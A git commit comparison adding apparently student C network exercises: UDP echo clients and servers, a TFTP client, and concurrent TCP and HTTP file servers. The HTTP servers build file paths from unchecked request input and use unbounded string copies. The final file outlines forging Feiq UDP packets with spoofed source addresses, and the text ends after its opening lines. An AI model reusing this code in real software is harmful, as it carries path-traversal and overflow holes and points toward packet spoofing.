Compare commits

..

13 Commits

41 changed files with 2925 additions and 0 deletions
+1
View File
@@ -142,3 +142,4 @@ compile_commands.json
*_qmlcache.qrc
*.vscode
BIN
View File
Binary file not shown.
+70
View File
@@ -0,0 +1,70 @@
// 编写一个UDP服务器程序,接收客户端发送的字符串,并将其转换为大写后发送回客户端。
#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <ctype.h> // toupper
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
{
perror("bind");
}
else
{
printf("bind success\n");
struct sockaddr_in src_addr;
char buf[128] = ""; // 接收数据的空间
socklen_t socklen = sizeof(src_addr);
while (1)
{
bzero(&src_addr, sizeof(src_addr));
bzero(buf, 128);
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
ssize_t len = recvfrom(sock_fd, buf, sizeof(buf), 0, (struct sockaddr *)&src_addr, &socklen);
if (len < 0)
{
perror("recvfrom");
break;
}
char srcIP[INET_ADDRSTRLEN]; // 16
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
printf("从 %s:%d 位置接收到的数据(%lu Bytes): %s\n", srcIP, port, len, buf);
int i = 0;
while (buf[i])
{
buf[i] = toupper(buf[i]); // 转大写
i++;
}
sendto(sock_fd, buf, len, 0, (struct sockaddr *)&src_addr, socklen);
printf("发送回去的消息为 %s\n", buf);
}
}
close(sock_fd);
return 0;
}
+46
View File
@@ -0,0 +1,46 @@
// 编写一个UDP客户端程序, 向服务器发送一个字符串, 并接收服务器返回的字符串并打印出来。
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
// 创建发送的数据
char buf[128] = "this msg is from client";
// 发送 udp 数据
ssize_t n = sendto(sock_fd, buf, strlen(buf), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
if (n > 0)
{
perror("发送成功\n");
}
socklen_t addrlen = sizeof(addr);
ssize_t recvlen = recvfrom(sock_fd, buf, 128, 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
if (recvlen < 0)
{
perror("recvfrom");
return 1;
}
printf("从服务器获取的数据为 %s\n", buf);
return 0;
}
+63
View File
@@ -0,0 +1,63 @@
// 编写一个UDP服务器程序, 接收客户端发送的整数, 计算其平方并发送回客户端
#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
{
perror("bind");
}
else
{
printf("bind success\n");
struct sockaddr_in src_addr;
int n = 0; // 接收数的空间
socklen_t socklen = sizeof(src_addr);
while (1)
{
bzero(&src_addr, sizeof(src_addr));
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
ssize_t len = recvfrom(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &socklen);
if (len < 0)
{
perror("recvfrom");
break;
}
char srcIP[INET_ADDRSTRLEN]; // 16
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
printf("从 %s:%d 位置接收到的数字为(%lu Bytes): %d\n", srcIP, port, len, n);
int n_to_square = n * n;
sendto(sock_fd, &n_to_square, len, 0, (struct sockaddr *)&src_addr, socklen);
printf("发送回去的平方值为 %d\n", n_to_square);
}
}
close(sock_fd);
return 0;
}
+46
View File
@@ -0,0 +1,46 @@
// 编写一个UDP客户端程序, 向服务器发送一个整数, 接收服务器返回的整数并打印出来。
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
// 创建发送的数据
int n = 5;
// 发送 udp 数据
ssize_t sendnum = sendto(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
if (sendnum > 0)
{
perror("发送成功\n");
}
socklen_t addrlen = sizeof(addr);
ssize_t recvlen = recvfrom(sock_fd, &n, 128, 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
if (recvlen < 0)
{
perror("recvfrom");
return 1;
}
printf("从服务器获取的平方值为 %d\n", n);
return 0;
}
BIN
View File
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

BIN
View File
Binary file not shown.
+95
View File
@@ -0,0 +1,95 @@
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
/*
./a.out server_ip 下载的文件名
*/
int main(int argc, char const *argv[])
{
if (argc != 3)
{
printf("usage: %s server_ip filename\n", argv[0]);
return -1;
}
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct stat st;
stat(argv[2], &st);
int tsize = st.st_size;
// 生成请求数据包
char request[64];
// char *tsize = 0;
int request_size = sprintf(request, "%c%c%s%c%s%c%d%c", 0, 1, argv[2], 0, "octet", 0, tsize, 0);
// 发送请求
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(69); // 服务器TFTP端口
server_addr.sin_addr.s_addr = inet_addr(argv[1]); // 服务器地址
sendto(sock_fd, request, request_size, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
char buf[516] = "";
struct sockaddr_in data_addr;
socklen_t data_addr_len = sizeof(data_addr);
bzero(&data_addr, sizeof(data_addr));
ssize_t len = recvfrom(sock_fd, buf, 516, 0, (struct sockaddr *)&data_addr, &data_addr_len);
// 验证接收的数据是否是 OK
if (buf[1] == 3)
{
// printf("收到的文件大小为 %d\n", tsize);
// 创建本地文件的描述符(打开或创建文件)
int fd = open(argv[2], O_CREAT | O_WRONLY, 0666);
while (1)
{
printf("文件名为 %s,文件大小为 %s\n", argv[2], buf + 2);
// 收到的是数据报
write(fd, buf + 4, len - 4);
// 回ACK
buf[1] = 4;
// buf[2] = "tsize";
sendto(sock_fd, buf, 4, 0, (struct sockaddr *)&data_addr, sizeof(data_addr));
if (len < 516)
{
printf("数据接收完成\n");
break;
}
bzero(&data_addr, data_addr_len);
bzero(buf, sizeof(buf));
len = recvfrom(sock_fd, buf, 516, 0, (struct sockaddr *)&data_addr, &data_addr_len);
}
close(fd);
}
else if (buf[1] == 5)
{
// 收到的是错误信息
printf("error: %s\n", buf + 4);
}
// else if (buf[1] == 6)
// {
// // 收到OACK包,包含请求选项回传的值
// printf("文件名为 %s,文件大小为 %s\n", argv[2], buf + 2);
// }
close(sock_fd);
return 0;
}
+92
View File
@@ -0,0 +1,92 @@
// 进程实现并发tcp通信
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
int main(int argc, char const *argv[])
{
// 1. 创建 socket
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
if (sock_fd < 0)
{
perror("socket");
return 1;
}
// 2. bind
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[1]));
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
int flag = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (flag != 0)
{
perror("bind");
close(sock_fd);
return 1;
}
// 3. 创建监听队列
listen(sock_fd, 100);
// 4. 开始接收客户端的连接(并发接收多个客户端)
while (1)
{
struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr));
socklen_t client_addr_len = sizeof(client_addr);
int client_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);
char clinet_ip[INET_ADDRSTRLEN] = "";
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, clinet_ip, INET_ADDRSTRLEN);
printf("%s 连接成功\n", clinet_ip);
// 创建进程实现并发通信
if (fork() == 0) // 子进程的作用域限制此范围
{
close(sock_fd); // 关闭父进程的socket文件描述符
while (1)
{
char buf[128] = "";
ssize_t len = recv(client_fd, buf, 128, 0);
if (len > 0)
{
int i = 0;
while (buf[i])
{
buf[i] = toupper(buf[i]);
i++;
}
send(client_fd, buf, len, 0);
if (strncmp(buf, "BYE", 3) == 0)
{
break;
}
}
}
close(client_fd);
printf("%s 关闭连接\n", clinet_ip);
_exit(0); // 子进程完成后,自动关闭本子进程
}
}
// 主进程的范畴
close(sock_fd);
return 0;
}
+112
View File
@@ -0,0 +1,112 @@
// 线程实现并发tcp通信
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <pthread.h>
// 定义结构体:用于描述连接的客户端信息
typedef struct client_s
{
unsigned char ip[INET_ADDRSTRLEN]; // 16
int fd;
} Client;
void *client_task(void *arg)
{
Client *client = (Client *)arg;
while (1)
{
char buf[128] = "";
ssize_t len = recv(client->fd, buf, 128, 0);
if (len > 0)
{
int i = 0;
while (buf[i])
{
buf[i] = toupper(buf[i]);
i++;
}
send(client->fd, buf, len, 0);
if (strncmp(buf, "BYE", 3) == 0)
{
break;
}
}
}
close(client->fd);
// pthread_exit(NULL); // 结束线程
printf("%s 关闭连接\n", client->ip);
free(client); // 回收空间
}
int main(int argc, char const *argv[])
{
// 1. 创建 socket
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
if (sock_fd < 0)
{
perror("socket");
return 1;
}
// 2. bind
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[1]));
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
int flag = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (flag != 0)
{
perror("bind");
close(sock_fd);
return 1;
}
// 3. 创建监听队列
listen(sock_fd, 100);
printf("-----ECHO 服务器已开启端口号为:%s-----\n", argv[1]);
// 4. 开始接收客户端的连接(并发接收多个客户端)
while (1)
{
struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr));
socklen_t client_addr_len = sizeof(client_addr);
int client_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);
char clinet_ip[INET_ADDRSTRLEN] = "";
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, clinet_ip, INET_ADDRSTRLEN);
printf("%s 连接成功\n", clinet_ip);
// 创建线程实现并发通信
Client *client = malloc(sizeof(Client)); // 创建堆空间
strcpy(client->ip, clinet_ip);
client->fd = client_fd;
pthread_t tid;
pthread_create(&tid, NULL, client_task, client);
pthread_detach(tid); // 分离线程
// pthread_join(tid,NULL);
}
// 主进程的范畴
close(sock_fd);
return 0;
}
+196
View File
@@ -0,0 +1,196 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <pthread.h>
#define BUFFLEN 1024 //缓冲区的大小
#define SERVER_PORT 1235 //端口号
#define HTTP_FILENAME_LEN 256
struct doc_type
{
char *suffix;
char *type;
};
//返回内容对应 MIME 类型
struct doc_type file_type[] =
{
{ "html", "text/html" },
{ "ico", "image/x-icon" },
{ NULL, NULL }
};
void * threadFun(void * args);
void handle_connect(int serv_sock);
void http_parse_request_cmd(char *buf,char *file_name, char *suffix);
char *http_get_type_by_suffix(const char *suffix);
char *http_res_hdr_tmpl = "HTTP/1.1 200 OK\nServer: bianchengbang\n"
"Accept-Ranges: bytes\nContent-Length: %d\nConnection: closed\n"
"Content-Type: %s\n\n";
int main() {
int serv_sock;
struct sockaddr_in serv_addr;
//创建套接字
if ((serv_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
printf("套接字创建失败\n");
exit(0);
}
//将套接字与任意 IP 地址和 1234 端口进行绑定
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(SERVER_PORT);
if (bind(serv_sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) == -1) {
close(serv_sock);
printf("bind()执行失败\n");
exit(0);
}
//让套接字进入被动监听状态
if (listen(serv_sock, SOMAXCONN) == -1) {
close(serv_sock);
printf("listen()执行失败\n");
exit(0);
}
handle_connect(serv_sock);
close(serv_sock);
return 0;
}
void handle_connect(int serv_sock){
int clnt_sock;
struct sockaddr_in clnt_addr;
socklen_t clnt_addr_size = sizeof(clnt_addr);
//死循环,持续不断地接收任意客户端发来的请求
while(1){
clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_addr, &clnt_addr_size);//接收客户端发来的请求
//单独创建一个线程,处理客户端的请求
if(clnt_sock >0){
pthread_t myThread;
int ret;
//threadFun() 为线程要执行的函数,clnt_sock 将作为实参传递给 threadFun() 函数
ret = pthread_create(&myThread, NULL, threadFun, &clnt_sock);
if (ret != 0) {
printf("线程创建失败\n");
exit(0);
}
}
}
}
void * threadFun(void * args) {
//将子线程和主线程脱离,子线程执行结束后自动释放资源
pthread_detach(pthread_self());
int clnt_sock = *(int*)args;
char buff[BUFFLEN]={0};
//获取http请求的字符串,num 为字符串的长度
int num = read(clnt_sock, buff, sizeof(buff));
if (num > 0) {
FILE * fp = NULL;
int nCount = 0;
int fp_has = 1,fp_type = 1;
int file_len, hdr_len;
char *type = NULL;
char http_header[BUFFLEN];
char file_name[HTTP_FILENAME_LEN] = { 0 }, suffix[16] = { 0 };
//获取目标文件(含路径)和后缀名
http_parse_request_cmd(buff, file_name, suffix);
//获取文件对应的 MIME 类型
type = http_get_type_by_suffix(suffix);
//如果类型未找到,则向客户端发送 errno.html 文件
if (type == NULL)
{
fp_type = 0;
printf("访问的文件类型(后缀名)不匹配\n");
type = http_get_type_by_suffix("html");
fp = fopen("errno.html","rb");
}else{
fp = fopen(file_name, "rb");
//如果服务器未找到目标文件,向客户端发送 errno.html 文件
if (fp == NULL) {
fp_has = 0;
fp = fopen("errno.html","rb");
}
}
//计算文件中包含的字节数
fseek(fp, 0, SEEK_END);
file_len = ftell(fp);
fseek(fp, 0, SEEK_SET);
//更新 http 响应的字符串
hdr_len = sprintf(http_header, http_res_hdr_tmpl, file_len, type);
//向客户端发送响应行、响应头和空行
write(clnt_sock, http_header, hdr_len);
if(fp_type == 1){
if (fp_has == 0) {
printf("服务器不存在 %s 文件\n", file_name);
}
else {
printf("服务器存在 %s 文件,发送中...\n",file_name);
}
}
//向客户端发送文件内容,即响应体
memset(buff, 0, BUFFLEN);
while ((nCount = fread(buff, 1, BUFFLEN, fp)) > 0) {
write(clnt_sock, buff, nCount);
memset(buff, 0, BUFFLEN);
}
fclose(fp);
shutdown(clnt_sock, SHUT_WR);
read(clnt_sock, buff, sizeof(buff));
close(clnt_sock);
}
return NULL;
}
char *http_get_type_by_suffix(const char *suffix)
{
struct doc_type *type = NULL;
for (type = file_type; type->suffix; type++)
{
if (strcmp(type->suffix, suffix) == 0)
return type->type;
}
return NULL;
}
void http_parse_request_cmd(char *buf,char *file_name, char *suffix)
{
int file_length = 0, suffix_length = 0;
char *begin=NULL, *end=NULL, *bias=NULL;
//查找 URL 的开始位置
begin = strchr(buf, ' ');
begin += 1;
//查找 URL 的结束位置
end = strchr(begin, ' ');
*end = 0;
//得到要访问的目标文件(含路径)
file_length = end - begin - 1;
memcpy(file_name, begin+1, file_length);
file_name[file_length] = 0;
//获得文件的后缀名
bias = strrchr(begin, '/');
suffix_length = end - bias;
if (*bias == '/')
{
bias++;
suffix_length--;
}
if (suffix_length > 0)
{
begin = strchr(file_name, '.');
if (begin)
strcpy(suffix, begin + 1);
}
}
+219
View File
@@ -0,0 +1,219 @@
// http网页服务器简单实现
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>
char root_dir[] = "/home/flykhan/html";
char html_hi[] = "HTTP/1.1 200 OK\r\n"
"Server: MyWebServer1.0\r\n"
"Content-Type: text/html; charset=utf-8\r\n"
"Accept-Ranges: bytes\r\n"
"Connection: close\r\n"
"\r\n\r\n"
"<h3 style=\"color:blue\">hi</h3>\r\n"
"\r\n";
char html_404[] = "HTTP/1.1 404 Not Found\r\n"
"Server: MyWebServer1.0\r\n"
"Content-Type: text/html; charset=utf-8\r\n"
"Accept-Ranges: bytes\r\n"
"Connection: close\r\n"
"\r\n\r\n"
"<h3 style=\"color:red\">Page Not Found 404</h3>\r\n"
"\r\n";
// 正常网页的 HEAD 头
char html_ok[] = "HTTP/1.1 200 OK\r\n"
"Server: MyWebServer1.0\r\n"
"Content-Type: text/html; charset=utf-8\r\n"
"Accept-Ranges: bytes\r\n"
"Connection: close\r\n"
"\r\n\r\n";
// 正常网页的 图片 头
char image_ok[] = "HTTP/1.1 200 OK\r\n"
"Server: MyWebServer1.0\r\n"
"Content-Type: image/png;\r\n"
"Accept-Ranges: bytes\r\n"
"Connection: keep-alive\r\n"
"Content-Length: %d\r\n"
"\r\n\r\n";
int sock_fd; // 全局定义 服务器 socket 套接字
// 自定义信号处理函数
void signalHandler(int signal)
{
printf("接收到信号 %d, 套接字为: %d\n", signal, sock_fd);
close(sock_fd);
// printf("套接字现在为 %d\n", sock_fd);
}
// 定义结构体:用于描述连接的客户端信息
typedef struct client_s
{
unsigned char ip[INET_ADDRSTRLEN]; // 16
int fd;
} Client;
void *client_task(void *arg)
{
Client *client = (Client *)arg;
// 读取客户端的请求
char buf[1024] = ""; // 存请求报文
int len = recv(client->fd, buf, 1024, 0); // 接收数据
printf("request data: %s\n", buf);
// 解析请求(第一行和头属性以及BODY)
char *line1 = strtok(buf, "\r\n");
printf("%s\n", line1);
char method_path_[3][100];
int i = 0;
char *token = strtok(line1, " ");
while (token != NULL)
{
strcpy(method_path_[i], token);
i++;
token = strtok(NULL, " ");
}
printf("path: %s\n", method_path_[1]); // 解析出地址路径
// 查找 html 目录中是否存在此文件
if (strcmp(method_path_[1], "/") == 0)
{
strcpy(method_path_[1], "/index.html");
}
// 拼接服务器文件的完整访问路径
char path[200] = "";
strcat(path, root_dir); // 拼接根目录路径
strcat(path, method_path_[1]); // 拼接请求路径
printf("filepath: %s\n", path);
int file_fd = open(path, O_RDONLY);
if (file_fd < 0)
{
// 文件不存在
// 相应 404
perror("open");
send(client->fd, html_404, sizeof(html_404), 0);
}
else
{
// 读取文件的数据(验证读取文件的类型:文本文件、图片文件)
// 向客户端发送 html_ok 头
if (strstr(method_path_[1], ".png") != NULL ||
strstr(method_path_[1], ".jpg") != NULL)
{
// 发图片头
struct stat st;
stat(path, &st);
char _ok[sizeof(image_ok) + 20] = "";
sprintf(_ok, image_ok, st.st_size); // 图片头拼接新获取的图片的大小
send(client->fd, _ok, strlen(_ok), 0);
}
else
{
// 发文本头
send(client->fd, html_ok, sizeof(html_ok), 0);
}
// 向客户端发送文件的数据(页面文件)
while (1)
{
char file_buf[512] = "";
ssize_t read_len = read(file_fd, file_buf, 512);
write(client->fd, file_buf, read_len);
// send(client->fd, file_buf, read_len, 0);
if (read_len < 512)
{
break;
}
}
close(file_fd);
}
// 相应一个HELLO主页数据(HTML
// send(client->fd, html_hi, sizeof(html_hi), 0);
close(client->fd);
printf("%s 关闭连接\n", client->ip);
free(client); // 回收空间
}
int main(int argc, char const *argv[])
{
// 1. 创建 socket
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
if (sock_fd < 0)
{
perror("socket");
return 1;
}
// 2. bind
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[1]));
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
int flag = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (flag != 0)
{
perror("bind");
close(sock_fd);
return 1;
}
// 注册信号处理函数
signal(SIGINT, signalHandler); // ctrl + c 发送
// 3. 创建监听队列
listen(sock_fd, 100);
printf("-----WEB 服务器已开启端口号为:%s-----\n", argv[1]);
// 4. 开始接收客户端的连接(并发接收多个客户端)
while (1)
{
struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr));
socklen_t client_addr_len = sizeof(client_addr);
int client_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);
char clinet_ip[INET_ADDRSTRLEN] = "";
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, clinet_ip, INET_ADDRSTRLEN);
printf("%s 连接成功\n", clinet_ip);
// 创建线程实现并发通信
Client *client = malloc(sizeof(Client)); // 创建堆空间
strcpy(client->ip, clinet_ip);
client->fd = client_fd;
pthread_t tid;
pthread_create(&tid, NULL, client_task, client);
pthread_detach(tid); // 分离线程
// pthread_join(tid,NULL);
}
// 主进程的范畴
close(sock_fd);
return 0;
}
BIN
View File
Binary file not shown.
+57
View File
@@ -0,0 +1,57 @@
// a->客户端
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 指定服务器地址
while (1)
{
// 创建发送的数据
int n = 5;
printf("请输入内容:\n");
scanf("%d", &n);
// 发送 udp 数据
ssize_t sendnum = sendto(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr)); // 将 buf 数据发送给服务器
if (sendnum > 0)
{
perror("发送成功\n");
}
socklen_t addrlen = sizeof(addr);
char recvbuf[128] = "";
ssize_t recvlen = recvfrom(sock_fd, recvbuf, sizeof(recvbuf), 0, (struct sockaddr *)&addr, &addrlen); // 从服务器获取数据到 buf
if (recvlen < 0)
{
perror("recvfrom");
return 1;
}
printf("从服务器获取内容为 %s\n", recvbuf);
if (strncmp(recvbuf, "bye", 3) == 0)
break;
}
close(sock_fd);
return 0;
}
+73
View File
@@ -0,0 +1,73 @@
// b->服务端
#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
int main(int argc, char const *argv[])
{
int sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
{
perror("bind");
}
else
{
printf("bind success\n");
struct sockaddr_in src_addr;
int n = 0; // 接收数的空间
socklen_t socklen = sizeof(src_addr);
while (1)
{
bzero(&src_addr, sizeof(src_addr));
// 接收数据,如果数据未到达,则会阻塞,直到数据到达为止
ssize_t len = recvfrom(sock_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &socklen);
if (len < 0)
{
perror("recvfrom");
break;
}
char srcIP[INET_ADDRSTRLEN]; // 16
int port = ntohs(src_addr.sin_port); // 将网络字节序转化为本地字节序
inet_ntop(AF_INET, &src_addr.sin_addr.s_addr, srcIP, INET_ADDRSTRLEN); // 将网络数字转换为点分十进制 ip
printf("从 %s:%d 位置接收到的数字为(%lu Bytes): %d\n", srcIP, port, len, n);
char sendbuf[128] = "";
if (n == 1)
strcpy(sendbuf, "disen666");
else if (n == 2)
strcpy(sendbuf, "jack good");
else if (n == 3)
strcpy(sendbuf, "disen888");
else if (n == 4)
strcpy(sendbuf, "bye");
sendto(sock_fd, &sendbuf, strlen(sendbuf), 0, (struct sockaddr *)&src_addr, socklen);
printf("发送回去内容为 %s\n", sendbuf);
}
}
close(sock_fd);
return 0;
}
BIN
View File
Binary file not shown.
+43
View File
@@ -0,0 +1,43 @@
// a->客户端
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
int a_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (a_fd < 0)
{
perror("socket");
return 1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 服务器在本地
while (1)
{
char buf[1] = "";
bzero(&buf, sizeof(buf));
scanf("%s", buf);
sendto(a_fd, buf, strlen(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
char recvbuf[128] = "";
socklen_t addr_len = sizeof(addr);
recvfrom(a_fd, recvbuf, strlen(recvbuf), 0, (struct sockaddr *)&addr, &addr_len);
printf("%s", recvbuf);
if (strncmp(recvbuf, "bye", 3) == 0)
break;
}
close(a_fd);
return 0;
}
+42
View File
@@ -0,0 +1,42 @@
// a->客户端
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
int a_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (a_fd < 0)
{
perror("socket");
return 1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 服务器在本地
while (1)
{
int n = 0;
scanf("%d", &n);
sendto(a_fd, &n, sizeof(n), 0, (struct sockaddr *)&addr, sizeof(addr));
char recvbuf[128] = "";
socklen_t addr_len = sizeof(addr);
recvfrom(a_fd, recvbuf, strlen(recvbuf), 0, (struct sockaddr *)&addr, &addr_len);
printf("%s", recvbuf);
if (strncmp(recvbuf, "bye", 3) == 0)
break;
}
close(a_fd);
return 0;
}
+54
View File
@@ -0,0 +1,54 @@
// b->服务端
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
int b_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (b_fd < 0)
{
perror("socket");
return 1;
}
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_ANY); // 接收所有本地ip下同一网段的客户端消息
// addr.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(b_fd, (struct sockaddr *)&addr, sizeof(addr));
while (1)
{
struct sockaddr_in src_addr;
bzero(&src_addr, sizeof(src_addr));
socklen_t src_addr_len = sizeof(src_addr);
int n;
socklen_t addr_len = sizeof(addr);
recvfrom(b_fd, &n, sizeof(n), 0, (struct sockaddr *)&src_addr, &src_addr_len);
printf("%d", n);
char sendbuf[128] = "";
if (n == 1)
strcpy(sendbuf, "disen666");
else if (n == 2)
strcpy(sendbuf, "jack good");
else if (n == 3)
strcpy(sendbuf, "disen888");
else if (n == 4)
strcpy(sendbuf, "bye");
sendto(b_fd, sendbuf, strlen(sendbuf), 0, (struct sockaddr *)&src_addr, src_addr_len);
}
close(b_fd);
return 0;
}
+310
View File
@@ -0,0 +1,310 @@
// 飞秋伪装(UDP应用)
/*
MAC -> 14
IP -> 20
UDP -> 8
UDP 数据报数据部分
*/
// 伪装飞秋数据报(UDP)
// 1. 伪装飞秋数据报的源IP和目的IP
// 2. 伪装飞秋数据报的源端口和目的端口
// 3. 伪装飞秋数据报的校验和
// 4. 伪装飞秋数据报的数据部分
// 5. 伪装飞秋数据报的长度
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ether.h>
